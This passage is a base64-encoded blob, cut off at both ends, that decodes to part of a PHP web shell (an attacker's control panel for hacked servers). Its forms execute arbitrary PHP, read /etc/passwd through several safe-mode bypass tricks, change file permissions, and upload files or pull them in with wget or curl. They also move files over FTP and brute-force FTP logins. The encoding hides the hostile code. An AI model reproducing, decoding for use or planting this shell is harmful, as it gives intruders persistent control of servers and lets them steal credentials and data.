0MTMnXSkpOwplY2hvICR0ZS4nPC9kaXY+Jy4kdGFibGVfZW5kMS4kZmU7Cn0KaWYoJHNhZmVfbW9kZSAmJiAkdW5peCl7CmVjaG8gJGZzLiR0YWJsZV91cDEuZGl2X3RpdGxlKCRsYW5nWyRsYW5ndWFnZS4nX3RleHQ2NyddLCdpZDUnKS4kdGFibGVfdXAyLmRpdignaWQ1JykuJHRzOwplY2hvIHNyKDE1LCI8Yj4iLiRsYW5nWyRsYW5ndWFnZS4nX3RleHQ2OCddLiRhcnJvdy4iPC9iPiIsIjxzZWxlY3QgbmFtZT13aGF0PjxvcHRpb24gdmFsdWU9bW9kPkNITU9EPC9vcHRpb24+PG9wdGlvbiB2YWx1ZT1vd24+Q0hPV048L29wdGlvbj48b3B0aW9uIHZhbHVlPWdycD5DSEdSUDwvb3B0aW9uPjwvc2VsZWN0PiIud3MoMikuIjxiPiIuJGxhbmdbJGxhbmd1YWdlLidfdGV4dDY5J10uJGFycm93LiI8L2I+Ii53cygyKS5pbigndGV4dCcsJ3BhcmFtMScsNDAsKCgkX1BPU1RbJ3BhcmFtMSddKT8oJF9QT1NUWydwYXJhbTEnXSk6KCJmaWxlbmFtZSIpKSkud3MoMikuIjxiPiIuJGxhbmdbJGxhbmd1YWdlLidfdGV4dDcwJ10uJGFycm93LiI8L2I+Ii53cygyKS5pbigndGV4dCcsJ3BhcmFtMiB0aXRsZT0iJy4kbGFuZ1skbGFuZ3VhZ2UuJ190ZXh0NzEnXS4nIicsMjYsKCgkX1BPU1RbJ3BhcmFtMiddKT8oJF9QT1NUWydwYXJhbTInXSk6KCIwNzc3IikpKS5pbignaGlkZGVuJywnY21kJywwLCdjaF8nKS5pbignaGlkZGVuJywnZGlyJywwLCRkaXIpLndzKDQpLmluKCdzdWJtaXQnLCdzdWJtaXQnLDAsJGxhbmdbJGxhbmd1YWdlLidfYnV0dDEnXSkpOwplY2hvICR0ZS4nPC9kaXY+Jy4kdGFibGVfZW5kMS4kZmU7Cn0KaWYoJHNhZmVfbW9kZSl7CgplY2hvICRmcy4kdGFibGVfdXAxLmRpdl90aXRsZSgkbGFuZ1skbGFuZ3VhZ2UuJ190ZXh0NTQnXSwnaWQ3JykuJHRhYmxlX3VwMi5kaXYoJ2lkNycpLiR0czsKZWNobyBzcigxNSwiPGI+Ii4kbGFuZ1skbGFuZ3VhZ2UuJ190ZXh0NTInXS4kYXJyb3cuIjwvYj4iLGluKCd0ZXh0Jywnc190ZXh0Jyw4NSwndGV4dCcpLndzKDQpLmluKCdzdWJtaXQnLCdzdWJtaXQnLDAsJGxhbmdbJGxhbmd1YWdlLidfYnV0dDEyJ10pKTsKZWNobyBzcigxNSwiPGI+Ii4kbGFuZ1skbGFuZ3VhZ2UuJ190ZXh0NTMnXS4kYXJyb3cuIjwvYj4iLGluKCd0ZXh0Jywnc19kaXInLDg1LCRkaXIpLiIgKiAoIC9yb290Oy9ob21lOy90bXAgKSIpOwplY2hvIHNyKDE1LCI8Yj4iLiRsYW5nWyRsYW5ndWFnZS4nX3RleHQ1NSddLiRhcnJvdy4iPC9iPiIsaW4oJ2NoZWNrYm94JywnbSBpZD1tJywwLCcxJykuaW4oJ3RleHQnLCdzX21hc2snLDgyLCcudHh0Oy5waHAnKS4iKiAoIC50eHQ7LnBocDsuaHRtICkiLmluKCdoaWRkZW4nLCdjbWQnLDAsJ3NlYXJjaF90ZXh0JykuaW4oJ2hpZGRlbicsJ2RpcicsMCwkZGlyKSk7CmVjaG8gJHRlLic8L2Rpdj4nLiR0YWJsZV9lbmQxLiRmZTsKaWYoISRzYWZlX21vZGUgJiYgJHVuaXgpewplY2hvICRmcy4kdGFibGVfdXAxLmRpdl90aXRsZSgkbGFuZ1skbGFuZ3VhZ2UuJ190ZXh0NzYnXSwnaWQ4JykuJHRhYmxlX3VwMi5kaXYoJ2lkOCcpLiR0czsKZWNobyBzcigxNSwiPGI+Ii4kbGFuZ1skbGFuZ3VhZ2UuJ190ZXh0NzInXS4kYXJyb3cuIjwvYj4iLGluKCd0ZXh0Jywnc190ZXh0Jyw4NSwndGV4dCcpLndzKDQpLmluKCdzdWJtaXQnLCdzdWJtaXQnLDAsJGxhbmdbJGxhbmd1YWdlLidfYnV0dDEyJ10pKTsKZWNobyBzcigxNSwiPGI+Ii4kbGFuZ1skbGFuZ3VhZ2UuJ190ZXh0NzMnXS4kYXJyb3cuIjwvYj4iLGluKCd0ZXh0Jywnc19kaXInLDg1LCRkaXIpLiIgKiAoIC9yb290Oy9ob21lOy90bXAgKSIpOwplY2hvIHNyKDE1LCI8Yj4iLiRsYW5nWyRsYW5ndWFnZS4nX3RleHQ3NCddLiRhcnJvdy4iPC9iPiIsaW4oJ3RleHQnLCdzX21hc2snLDg1LCcqLltoY10nKS53cygxKS4kbGFuZ1skbGFuZ3VhZ2UuJ190ZXh0NzUnXS5pbignaGlkZGVuJywnY21kJywwLCdmaW5kX3RleHQnKS5pbignaGlkZGVuJywnZGlyJywwLCRkaXIpKTsKZWNobyAkdGUuJzwvZGl2PicuJHRhYmxlX2VuZDEuJGZlOwp9CmVjaG8gJGZzLiR0YWJsZV91cDEuZGl2X3RpdGxlKCRsYW5nWyRsYW5ndWFnZS4nX3RleHQzMiddLCdpZDknKS4kdGFibGVfdXAyLiRmb250OwplY2hvICI8ZGl2IGFsaWduPWNlbnRlcj4iLmRpdignaWQ5JykuIjx0ZXh0YXJlYSBuYW1lPXBocF9ldmFsIGNvbHM9MTAwIHJvd3M9Mz4iOwplY2hvICghZW1wdHkoJF9QT1NUWydwaHBfZXZhbCddKT8oJF9QT1NUWydwaHBfZXZhbCddKTooIi8qIGRlbGV0ZSBzY3JpcHQgKi9cclxuLy91bmxpbmsoXCJrYWlsYXRpZ2ktbW9uby5waHBcIik7XHJcbi8vcmVhZGZpbGUoXCIvZXRjL3Bhc3N3ZFwiKTsiKSk7CmVjaG8gIjwvdGV4dGFyZWE+IjsKZWNobyBpbignaGlkZGVuJywnZGlyJywwLCRkaXIpLmluKCdoaWRkZW4nLCdjbWQnLDAsJ3BocF9ldmFsJyk7CmVjaG8gIjxicj4iLndzKDEpLmluKCdzdWJtaXQnLCdzdWJtaXQnLDAsJGxhbmdbJGxhbmd1YWdlLidfYnV0dDEnXSk7CmVjaG8gIjwvZGl2PjwvZGl2PjwvZm9udD4iOwplY2hvICR0YWJsZV9lbmQxLiRmZTsKaWYoJHNhZmVfbW9kZSYmJGN1cmxfb24pCnsKZWNobyAkZnMuJHRhYmxlX3VwMS5kaXZfdGl0bGUoJGxhbmdbJGxhbmd1YWdlLidfdGV4dDMzJ10sJ2lkMTAnKS4kdGFibGVfdXAyLmRpdignaWQxMCcpLiR0czsKZWNobyBzcigxNSwiPGI+Ii4kbGFuZ1skbGFuZ3VhZ2UuJ190ZXh0MzAnXS4kYXJyb3cuIjwvYj4iLGluKCd0ZXh0JywndGVzdDFfZmlsZScsODUsKCFlbXB0eSgkX1BPU1RbJ3Rlc3QxX2ZpbGUnXSk/KCRfUE9TVFsndGVzdDFfZmlsZSddKTooIi9ldGMvcGFzc3dkIikpKS5pbignaGlkZGVuJywnZGlyJywwLCRkaXIpLmluKCdoaWRkZW4nLCdjbWQnLDAsJ3Rlc3QxJykud3MoNCkuaW4oJ3N1Ym1pdCcsJ3N1Ym1pdCcsMCwkbGFuZ1skbGFuZ3VhZ2UuJ19idXR0OCddKSk7CmVjaG8gJHRlLic8L2Rpdj4nLiR0YWJsZV9lbmQxLiRmZTsKfQp9CmlmKCRzYWZlX21vZGUpCnsKZWNobyAkZnMuJHRhYmxlX3VwMS5kaXZfdGl0bGUoJGxhbmdbJGxhbmd1YWdlLidfdGV4dDM0J10sJ2lkMTEnKS4kdGFibGVfdXAyLmRpdignaWQxMScpLiR0czsKZWNobyAiPHRhYmxlIGNsYXNzPXRhYmxlMSB3aWR0aD0xMDAlIGFsaWduPWNlbnRlcj4iOwplY2hvIHNyKDE1LCI8Yj4iLiRsYW5nWyRsYW5ndWFnZS4nX3RleHQzMCddLiRhcnJvdy4iPC9iPiIsaW4oJ3RleHQnLCd0ZXN0Ml9maWxlJyw4NSwoIWVtcHR5KCRfUE9TVFsndGVzdDJfZmlsZSddKT8oJF9QT1NUWyd0ZXN0Ml9maWxlJ10pOigiL2V0Yy9wYXNzd2QiKSkpLmluKCdoaWRkZW4nLCdkaXInLDAsJGRpcikuaW4oJ2hpZGRlbicsJ2NtZCcsMCwndGVzdDInKS53cyg0KS5pbignc3VibWl0Jywnc3VibWl0JywwLCRsYW5nWyRsYW5ndWFnZS4nX2J1dHQ4J10pKTsKZWNobyAkdGUuJzwvZGl2PicuJHRhYmxlX2VuZDEuJGZlOwp9CgoKaWYoJHNhZmVfbW9kZSYmJG1zc3FsX29uKQp7CmVjaG8gJGZzLiR0YWJsZV91cDEuZGl2X3RpdGxlKCRsYW5nWyRsYW5ndWFnZS4nX3RleHQ4NSddLCdpZDEzJykuJHRhYmxlX3VwMi5kaXYoJ2lkMTMnKS4kdHM7CmVjaG8gc3IoMTUsIjxiPiIuJGxhbmdbJGxhbmd1YWdlLidfdGV4dDM2J10uJGFycm93LiI8L2I+IixpbigndGV4dCcsJ3Rlc3Q0X21kJywxNSwoIWVtcHR5KCRfUE9TVFsndGVzdDRfbWQnXSk/KCRfUE9TVFsndGVzdDRfbWQnXSk6KCJtYXN0ZXIiKSkpLndzKDQpLiI8Yj4iLiRsYW5nWyRsYW5ndWFnZS4nX3RleHQzNyddLiRhcnJvdy4iPC9iPiIuaW4oJ3RleHQnLCd0ZXN0NF9tbCcsMTUsKCFlbXB0eSgkX1BPU1RbJ3Rlc3Q0X21sJ10pPygkX1BPU1RbJ3Rlc3Q0X21sJ10pOigic2EiKSkpLndzKDQpLiI8Yj4iLiRsYW5nWyRsYW5ndWFnZS4nX3RleHQzOCddLiRhcnJvdy4iPC9iPiIuaW4oJ3RleHQnLCd0ZXN0NF9tcCcsMTUsKCFlbXB0eSgkX1BPU1RbJ3Rlc3Q0X21wJ10pPygkX1BPU1RbJ3Rlc3Q0X21wJ10pOigicGFzc3dvcmQiKSkpLndzKDQpLiI8Yj4iLiRsYW5nWyRsYW5ndWFnZS4nX3RleHQxNCddLiRhcnJvdy4iPC9iPiIuaW4oJ3RleHQnLCd0ZXN0NF9wb3J0JywxNSwoIWVtcHR5KCRfUE9TVFsndGVzdDRfcG9ydCddKT8oJF9QT1NUWyd0ZXN0NF9wb3J0J10pOigiMTQzMyIpKSkpOwplY2hvIHNyKDE1LCI8Yj4iLiRsYW5nWyRsYW5ndWFnZS4nX3RleHQzJ10uJGFycm93LiI8L2I+IixpbigndGV4dCcsJ3Rlc3Q0X2ZpbGUnLDk2LCghZW1wdHkoJF9QT1NUWyd0ZXN0NF9maWxlJ10pPygkX1BPU1RbJ3Rlc3Q0X2ZpbGUnXSk6KCJkaXIiKSkpLmluKCdoaWRkZW4nLCdkaXInLDAsJGRpcikuaW4oJ2hpZGRlbicsJ2NtZCcsMCwndGVzdDQnKS53cyg0KS5pbignc3VibWl0Jywnc3VibWl0JywwLCRsYW5nWyRsYW5ndWFnZS4nX2J1dHQ4J10pKTsKZWNobyAkdGUuJzwvZGl2PicuJHRhYmxlX2VuZDEuJGZlOwp9CmlmKCRzYWZlX21vZGUmJiR1bml4JiZmdW5jdGlvbl9leGlzdHMoJ21iX3NlbmRfbWFpbCcpKXsKZWNobyAkZnMuJHRhYmxlX3VwMS5kaXZfdGl0bGUoJGxhbmdbJGxhbmd1YWdlLidfdGV4dDExMiddLCdpZDIyJykuJHRhYmxlX3VwMi5kaXYoJ2lkMjInKS4kdHM7CmVjaG8gc3IoMTUsIjxiPiIuJGxhbmdbJGxhbmd1YWdlLidfdGV4dDMwJ10uJGFycm93LiI8L2I+IixpbigndGV4dCcsJ3Rlc3Q1X2ZpbGUnLDk2LCghZW1wdHkoJF9QT1NUWyd0ZXN0NV9maWxlJ10pPygkX1BPU1RbJ3Rlc3Q1X2ZpbGUnXSk6KCIvZXRjL3Bhc3N3ZCIpKSkuaW4oJ2hpZGRlbicsJ2RpcicsMCwkZGlyKS5pbignaGlkZGVuJywnY21kJywwLCd0ZXN0NScpLndzKDQpLmluKCdzdWJtaXQnLCdzdWJtaXQnLDAsJGxhbmdbJGxhbmd1YWdlLidfYnV0dDgnXSkpOwplY2hvICR0ZS4nPC9kaXY+Jy4kdGFibGVfZW5kMS4kZmU7Cn0KaWYoJHNhZmVfbW9kZSYmZnVuY3Rpb25fZXhpc3RzKCdpbWFwX2xpc3QnKSl7CmVjaG8gJGZzLiR0YWJsZV91cDEuZGl2X3RpdGxlKCRsYW5nWyRsYW5ndWFnZS4nX3RleHQxMTMnXSwnaWQyMycpLiR0YWJsZV91cDIuZGl2KCdpZDIzJykuJHRzOwplY2hvIHNyKDE1LCI8Yj4iLiRsYW5nWyRsYW5ndWFnZS4nX3RleHQ0J10uJGFycm93LiI8L2I+IixpbigndGV4dCcsJ3Rlc3Q2X2ZpbGUnLDk2LCghZW1wdHkoJF9QT1NUWyd0ZXN0Nl9maWxlJ10pPygkX1BPU1RbJ3Rlc3Q2X2ZpbGUnXSk6KCRkaXIpKSkuaW4oJ2hpZGRlbicsJ2RpcicsMCwkZGlyKS5pbignaGlkZGVuJywnY21kJywwLCd0ZXN0NicpLndzKDQpLmluKCdzdWJtaXQnLCdzdWJtaXQnLDAsJGxhbmdbJGxhbmd1YWdlLidfYnV0dDgnXSkpOwplY2hvICR0ZS4nPC9kaXY+Jy4kdGFibGVfZW5kMS4kZmU7Cn0KaWYoJHNhZmVfbW9kZSYmZnVuY3Rpb25fZXhpc3RzKCdpbWFwX2JvZHknKSl7CmVjaG8gJGZzLiR0YWJsZV91cDEuZGl2X3RpdGxlKCRsYW5nWyRsYW5ndWFnZS4nX3RleHQxMTQnXSwnaWQyNCcpLiR0YWJsZV91cDIuZGl2KCdpZDI0JykuJHRzOwplY2hvIHNyKDE1LCI8Yj4iLiRsYW5nWyRsYW5ndWFnZS4nX3RleHQzMCddLiRhcnJvdy4iPC9iPiIsaW4oJ3RleHQnLCd0ZXN0N19maWxlJyw5NiwoIWVtcHR5KCRfUE9TVFsndGVzdDdfZmlsZSddKT8oJF9QT1NUWyd0ZXN0N19maWxlJ10pOigiL2V0Yy9wYXNzd2QiKSkpLmluKCdoaWRkZW4nLCdkaXInLDAsJGRpcikuaW4oJ2hpZGRlbicsJ2NtZCcsMCwndGVzdDcnKS53cyg0KS5pbignc3VibWl0Jywnc3VibWl0JywwLCRsYW5nWyRsYW5ndWFnZS4nX2J1dHQ4J10pKTsKZWNobyAkdGUuJzwvZGl2PicuJHRhYmxlX2VuZDEuJGZlOwp9CmlmKCRzYWZlX21vZGUpCnsKZWNobyAkZnMuJHRhYmxlX3VwMS5kaXZfdGl0bGUoJGxhbmdbJGxhbmd1YWdlLidfdGV4dDExNSddLCdpZDI1JykuJHRhYmxlX3VwMi5kaXYoJ2lkMjUnKS4kdHM7CmVjaG8gc3IoMTUsIjxiPiIuJGxhbmdbJGxhbmd1YWdlLidfdGV4dDExNiddLiRhcnJvdy4iPC9iPiIsaW4oJ3RleHQnLCd0ZXN0OF9maWxlMScsOTYsKCFlbXB0eSgkX1BPU1RbJ3Rlc3Q4X2ZpbGUxJ10pPygkX1BPU1RbJ3Rlc3Q4X2ZpbGUxJ10pOigiL2V0Yy9wYXNzd2QiKSkpLmluKCdoaWRkZW4nLCdkaXInLDAsJGRpcikuaW4oJ2hpZGRlbicsJ2NtZCcsMCwndGVzdDgnKSk7CmVjaG8gc3IoMTUsIjxiPiIuJGxhbmdbJGxhbmd1YWdlLidfdGV4dDExNyddLiRhcnJvdy4iPC9iPiIsaW4oJ3RleHQnLCd0ZXN0OF9maWxlMicsOTYsKCFlbXB0eSgkX1BPU1RbJ3Rlc3Q4X2ZpbGUyJ10pPygkX1BPU1RbJ3Rlc3Q4X2ZpbGUyJ10pOigkZGlyKSkpLndzKDQpLmluKCdzdWJtaXQnLCdzdWJtaXQnLDAsJGxhbmdbJGxhbmd1YWdlLidfYnV0dDgnXSkpOwplY2hvICR0ZS4nPC9kaXY+Jy4kdGFibGVfZW5kMS4kZmU7Cn0KaWYoQGluaV9nZXQoJ2ZpbGVfdXBsb2FkcycpKXsKZWNobyAiPGZvcm0gbmFtZT11cGxvYWQgbWV0aG9kPVBPU1QgRU5DVFlQRT1tdWx0aXBhcnQvZm9ybS1kYXRhPiI7CmVjaG8gJHRhYmxlX3VwMS5kaXZfdGl0bGUoJGxhbmdbJGxhbmd1YWdlLidfdGV4dDUnXSwnaWQxNCcpLiR0YWJsZV91cDIuZGl2KCdpZDE0JykuJHRzOwplY2hvIHNyKDE1LCI8Yj4iLiRsYW5nWyRsYW5ndWFnZS4nX3RleHQ2J10uJGFycm93LiI8L2I+IixpbignZmlsZScsJ3VzZXJmaWxlJyw4NSwnJykpOwplY2hvIHNyKDE1LCI8Yj4iLiRsYW5nWyRsYW5ndWFnZS4nX3RleHQyMSddLiRhcnJvdy4iPC9iPiIsaW4oJ2NoZWNrYm94JywnbmYxIGlkPW5mMScsMCwnMScpLmluKCd0ZXh0JywnbmV3X25hbWUnLDgyLCcnKS5pbignaGlkZGVuJywnZGlyJywwLCRkaXIpLndzKDQpLmluKCdzdWJtaXQnLCdzdWJtaXQnLDAsJGxhbmdbJGxhbmd1YWdlLidfYnV0dDInXSkpOwplY2hvICR0ZS4nPC9kaXY+Jy4kdGFibGVfZW5kMS4kZmU7Cn0KaWYoISRzYWZlX21vZGUmJiR1bml4KXsKZWNobyAkZnMuJHRhYmxlX3VwMS5kaXZfdGl0bGUoJGxhbmdbJGxhbmd1YWdlLidfdGV4dDE1J10sJ2lkMTUnKS4kdGFibGVfdXAyLmRpdignaWQxNScpLiR0czsKZWNobyBzcigxNSwiPGI+Ii4kbGFuZ1skbGFuZ3VhZ2UuJ190ZXh0MTYnXS4kYXJyb3cuIjwvYj4iLCI8c2VsZWN0IHNpemU9XCIxXCIgbmFtZT1cIndpdGhcIj48b3B0aW9uIHZhbHVlPVwid2dldFwiPndnZXQ8L29wdGlvbj48b3B0aW9uIHZhbHVlPVwiZmV0Y2hcIj5mZXRjaDwvb3B0aW9uPjxvcHRpb24gdmFsdWU9XCJseW54XCI+bHlueDwvb3B0aW9uPjxvcHRpb24gdmFsdWU9XCJsaW5rc1wiPmxpbmtzPC9vcHRpb24+PG9wdGlvbiB2YWx1ZT1cImN1cmxcIj5jdXJsPC9vcHRpb24+PG9wdGlvbiB2YWx1ZT1cIkdFVFwiPkdFVDwvb3B0aW9uPjwvc2VsZWN0PiIuaW4oJ2hpZGRlbicsJ2RpcicsMCwkZGlyKS53cygyKS4iPGI+Ii4kbGFuZ1skbGFuZ3VhZ2UuJ190ZXh0MTcnXS4kYXJyb3cuIjwvYj4iLmluKCd0ZXh0JywncmVtX2ZpbGUnLDc4LCdodHRwOi8vJykpOwplY2hvIHNyKDE1LCI8Yj4iLiRsYW5nWyRsYW5ndWFnZS4nX3RleHQxOCddLiRhcnJvdy4iPC9iPiIsaW4oJ3RleHQnLCdsb2NfZmlsZScsMTA1LCRkaXIpLndzKDQpLmluKCdzdWJtaXQnLCdzdWJtaXQnLDAsJGxhbmdbJGxhbmd1YWdlLidfYnV0dDInXSkpOwplY2hvICR0ZS4nPC9kaXY+Jy4kdGFibGVfZW5kMS4kZmU7Cn0KZWNobyAkZnMuJHRhYmxlX3VwMS5kaXZfdGl0bGUoJGxhbmdbJGxhbmd1YWdlLidfdGV4dDg2J10sJ2lkMTYnKS4kdGFibGVfdXAyLmRpdignaWQxNicpLiR0czsKZWNobyBzcigxNSwiPGI+Ii4kbGFuZ1skbGFuZ3VhZ2UuJ190ZXh0NTknXS4kYXJyb3cuIjwvYj4iLGluKCd0ZXh0JywnZF9uYW1lJyw4NSwkZGlyKS5pbignaGlkZGVuJywnY21kJywwLCdkb3dubG9hZF9maWxlJykuaW4oJ2hpZGRlbicsJ2RpcicsMCwkZGlyKS53cyg0KS5pbignc3VibWl0Jywnc3VibWl0JywwLCRsYW5nWyRsYW5ndWFnZS4nX2J1dHQxNCddKSk7CiRhcmggPSAkbGFuZ1skbGFuZ3VhZ2UuJ190ZXh0OTInXTsKaWYoQGZ1bmN0aW9uX2V4aXN0cygnZ3pjb21wcmVzcycpKSB7ICRhcmggLj0gaW4oJ3JhZGlvJywnY29tcHJlc3MnLDAsJ3ppcCcpLicgemlwJzsgICB9CmlmKEBmdW5jdGlvbl9leGlzdHMoJ2d6ZW5jb2RlJykpICAgeyAkYXJoIC49IGluKCdyYWRpbycsJ2NvbXByZXNzJywwLCdnemlwJykuJyBnemlwJzsgfQppZihAZnVuY3Rpb25fZXhpc3RzKCdiemNvbXByZXNzJykpIHsgJGFyaCAuPSBpbigncmFkaW8nLCdjb21wcmVzcycsMCwnYnppcCcpLicgYnppcCc7IH0KZWNobyBzcigxNSwiPGI+Ii4kbGFuZ1skbGFuZ3VhZ2UuJ190ZXh0OTEnXS4kYXJyb3cuIjwvYj4iLGluKCdyYWRpbycsJ2NvbXByZXNzJywwLCdub25lJywxKS4nICcuJGFyaCk7CmVjaG8gJHRlLic8L2Rpdj4nLiR0YWJsZV9lbmQxLiRmZTsKaWYoQGZ1bmN0aW9uX2V4aXN0cygiZnRwX2Nvbm5lY3QiKSl7CmVjaG8gJHRhYmxlX3VwMS5kaXZfdGl0bGUoJGxhbmdbJGxhbmd1YWdlLidfdGV4dDkzJ10sJ2lkMTcnKS4kdGFibGVfdXAyLmRpdignaWQxNycpLiR0cy4iPHRyPiIuJGZzLiI8dGQgdmFsaWduPXRvcCB3aWR0aD01MCU+Ii4kdHM7CmVjaG8gIjxmb250IGZhY2U9dGFob21hIHNpemU9LTI+PGI+PGRpdiBhbGlnbj1jZW50ZXIgaWQ9J24nPiIuJGxhbmdbJGxhbmd1YWdlLidfdGV4dDg3J10uIjwvZGl2PjwvYj48L2ZvbnQ+IjsKZWNobyBzcigyNSwiPGI+Ii4kbGFuZ1skbGFuZ3VhZ2UuJ190ZXh0ODgnXS4kYXJyb3cuIjwvYj4iLGluKCd0ZXh0JywnZnRwX3NlcnZlcl9wb3J0Jyw0NSwoIWVtcHR5KCRfUE9TVFsnZnRwX3NlcnZlcl9wb3J0J10pPygkX1BPU1RbJ2Z0cF9zZXJ2ZXJfcG9ydCddKTooIjEyNy4wLjAuMToyMSIpKSkpOwplY2hvIHNyKDI1LCI8Yj4iLiRsYW5nWyRsYW5ndWFnZS4nX3RleHQzNyddLiRhcnJvdy4iPC9iPiIsaW4oJ3RleHQnLCdmdHBfbG9naW4nLDQ1LCghZW1wdHkoJF9QT1NUWydmdHBfbG9naW4nXSk/KCRfUE9TVFsnZnRwX2xvZ2luJ10pOigiYW5vbnltb3VzIikpKSk7CmVjaG8gc3IoMjUsIjxiPiIuJGxhbmdbJGxhbmd1YWdlLidfdGV4dDM4J10uJGFycm93LiI8L2I+IixpbigndGV4dCcsJ2Z0cF9wYXNzd29yZCcsNDUsKCFlbXB0eSgkX1BPU1RbJ2Z0cF9wYXNzd29yZCddKT8oJF9QT1NUWydmdHBfcGFzc3dvcmQnXSk6KCJiaWxseUBtaWNyb3NvZnQuY29tIikpKSk7CmVjaG8gc3IoMjUsIjxiPiIuJGxhbmdbJGxhbmd1YWdlLidfdGV4dDg5J10uJGFycm93LiI8L2I+IixpbigndGV4dCcsJ2Z0cF9maWxlJyw0NSwoIWVtcHR5KCRfUE9TVFsnZnRwX2ZpbGUnXSk/KCRfUE9TVFsnZnRwX2ZpbGUnXSk6KCIvZnRwLWRpci9maWxlIikpKS5pbignaGlkZGVuJywnY21kJywwLCdmdHBfZmlsZV9kb3duJykpOwplY2hvIHNyKDI1LCI8Yj4iLiRsYW5nWyRsYW5ndWFnZS4nX3RleHQxOCddLiRhcnJvdy4iPC9iPiIsaW4oJ3RleHQnLCdsb2NfZmlsZScsNDUsJGRpcikpOwplY2hvIHNyKDI1LCI8Yj4iLiRsYW5nWyRsYW5ndWFnZS4nX3RleHQ5MCddLiRhcnJvdy4iPC9iPiIsIjxzZWxlY3QgbmFtZT1mdHBfbW9kZT48b3B0aW9uPkZUUF9CSU5BUlk8L29wdGlvbj48b3B0aW9uPkZUUF9BU0NJSTwvb3B0aW9uPjwvc2VsZWN0PiIuaW4oJ2hpZGRlbicsJ2RpcicsMCwkZGlyKSk7CmVjaG8gc3IoMjUsIiIsaW4oJ3N1Ym1pdCcsJ3N1Ym1pdCcsMCwkbGFuZ1skbGFuZ3VhZ2UuJ19idXR0MTQnXSkpOwplY2hvICR0ZS4iPC90ZD4iLiRmZS4kZnMuIjx0ZCB2YWxpZ249dG9wIHdpZHRoPTUwJT4iLiR0czsKZWNobyAiPGZvbnQgZmFjZT10YWhvbWEgc2l6ZT0tMj48Yj48ZGl2IGFsaWduPWNlbnRlciBpZD0nbic+Ii4kbGFuZ1skbGFuZ3VhZ2UuJ190ZXh0MTAwJ10uIjwvZGl2PjwvYj48L2ZvbnQ+IjsKZWNobyBzcigyNSwiPGI+Ii4kbGFuZ1skbGFuZ3VhZ2UuJ190ZXh0ODgnXS4kYXJyb3cuIjwvYj4iLGluKCd0ZXh0JywnZnRwX3NlcnZlcl9wb3J0Jyw0NSwoIWVtcHR5KCRfUE9TVFsnZnRwX3NlcnZlcl9wb3J0J10pPygkX1BPU1RbJ2Z0cF9zZXJ2ZXJfcG9ydCddKTooIjEyNy4wLjAuMToyMSIpKSkpOwplY2hvIHNyKDI1LCI8Yj4iLiRsYW5nWyRsYW5ndWFnZS4nX3RleHQzNyddLiRhcnJvdy4iPC9iPiIsaW4oJ3RleHQnLCdmdHBfbG9naW4nLDQ1LCghZW1wdHkoJF9QT1NUWydmdHBfbG9naW4nXSk/KCRfUE9TVFsnZnRwX2xvZ2luJ10pOigiYW5vbnltb3VzIikpKSk7CmVjaG8gc3IoMjUsIjxiPiIuJGxhbmdbJGxhbmd1YWdlLidfdGV4dDM4J10uJGFycm93LiI8L2I+IixpbigndGV4dCcsJ2Z0cF9wYXNzd29yZCcsNDUsKCFlbXB0eSgkX1BPU1RbJ2Z0cF9wYXNzd29yZCddKT8oJF9QT1NUWydmdHBfcGFzc3dvcmQnXSk6KCJiaWxseUBtaWNyb3NvZnQuY29tIikpKSk7CmVjaG8gc3IoMjUsIjxiPiIuJGxhbmdbJGxhbmd1YWdlLidfdGV4dDE4J10uJGFycm93LiI8L2I+IixpbigndGV4dCcsJ2xvY19maWxlJyw0NSwkZGlyKSk7CmVjaG8gc3IoMjUsIjxiPiIuJGxhbmdbJGxhbmd1YWdlLidfdGV4dDg5J10uJGFycm93LiI8L2I+IixpbigndGV4dCcsJ2Z0cF9maWxlJyw0NSwoIWVtcHR5KCRfUE9TVFsnZnRwX2ZpbGUnXSk/KCRfUE9TVFsnZnRwX2ZpbGUnXSk6KCIvZnRwLWRpci9maWxlIikpKS5pbignaGlkZGVuJywnY21kJywwLCdmdHBfZmlsZV91cCcpKTsKZWNobyBzcigyNSwiPGI+Ii4kbGFuZ1skbGFuZ3VhZ2UuJ190ZXh0OTAnXS4kYXJyb3cuIjwvYj4iLCI8c2VsZWN0IG5hbWU9ZnRwX21vZGU+PG9wdGlvbj5GVFBfQklOQVJZPC9vcHRpb24+PG9wdGlvbj5GVFBfQVNDSUk8L29wdGlvbj48L3NlbGVjdD4iLmluKCdoaWRkZW4nLCdkaXInLDAsJGRpcikpOwplY2hvIHNyKDI1LCIiLGluKCdzdWJtaXQnLCdzdWJtaXQnLDAsJGxhbmdbJGxhbmd1YWdlLidfYnV0dDInXSkpOwplY2hvICR0ZS4iPC90ZD4iLiRmZS4iPC90cj48L2Rpdj48L3RhYmxlPiI7Cn0KaWYoJHVuaXggJiYgQGZ1bmN0aW9uX2V4aXN0cygiZnRwX2Nvbm5lY3QiKSl7CmVjaG8gJGZzLiR0YWJsZV91cDEuZGl2X3RpdGxlKCRsYW5nWyRsYW5ndWFnZS4nX3RleHQ5NCddLCdpZDE4JykuJHRhYmxlX3VwMi5kaXYoJ2lkMTgnKS4kdHM7CmVjaG8gc3IoMTUsIjxiPiIuJGxhbmdbJGxhbmd1YWdlLidfdGV4dDg4J10uJGFycm93LiI8L2I+IixpbigndGV4dCcsJ2Z0cF9zZXJ2ZXJfcG9ydCcsODUsKCFlbXB0eSgkX1BPU1RbJ2Z0cF9zZXJ2ZXJfcG9ydCddKT8oJF9QT1NUWydmdHBfc2VydmVyX3BvcnQnXSk6KCIxMjcuMC4wLjE6MjEiKSkpLmluKCdoaWRkZW4nLCdjbWQnLDAsJ2Z0cF9icnV0ZScpLndzKDQpLmluKCdzdWJtaXQnLCdzdWJtaXQnLDAsJGxhbmdbJGxhbmd1YWdlLidfYnV0dDEnXSkpOwplY2hvIHNyKDE1LCIiLCI8Zm9udCBmYWNlPXRhaG9tYSBzaXplPS0yPiIuJGxhbmdbJGxhbmd1YWdlLidfdGV4dDk5J10uIiAoIDxhIGhyZWY9Ii4kX1NFUlZFUlsnUEhQX1NFTEYnXS4iP3VzZXJzPiIuJGxhbmdbJGxhbmd1YWdlLidfdGV4dDk1J10uIjwvYT4gKTwvZm9udD4iKTsKZWNobyBzcigxNSwiIixpbignY2hlY2tib3gnLCdyZXZlcnNlIGlkPXJldmVyc2UnLDAsJzEnKS4kbGFuZ1skbGFuZ3VhZ2UuJ190ZXh0MTAxJ10pOwplY2hvICR0ZS4nPC9kaXY+Jy4kdGFibGVfZW5kMS4kZmU7Cn0KaWYoQGZ1bmN0aW9uX2V4aXN0cygibWFpbCIpKXsKZWNobyAkdGFibGVfdXAxLmRpdl90aXRsZSgkbGFuZ1skbGFuZ3VhZ2UuJ190ZXh0MTAyJ10sJ2lkMTknKS4kdGFibGVfdX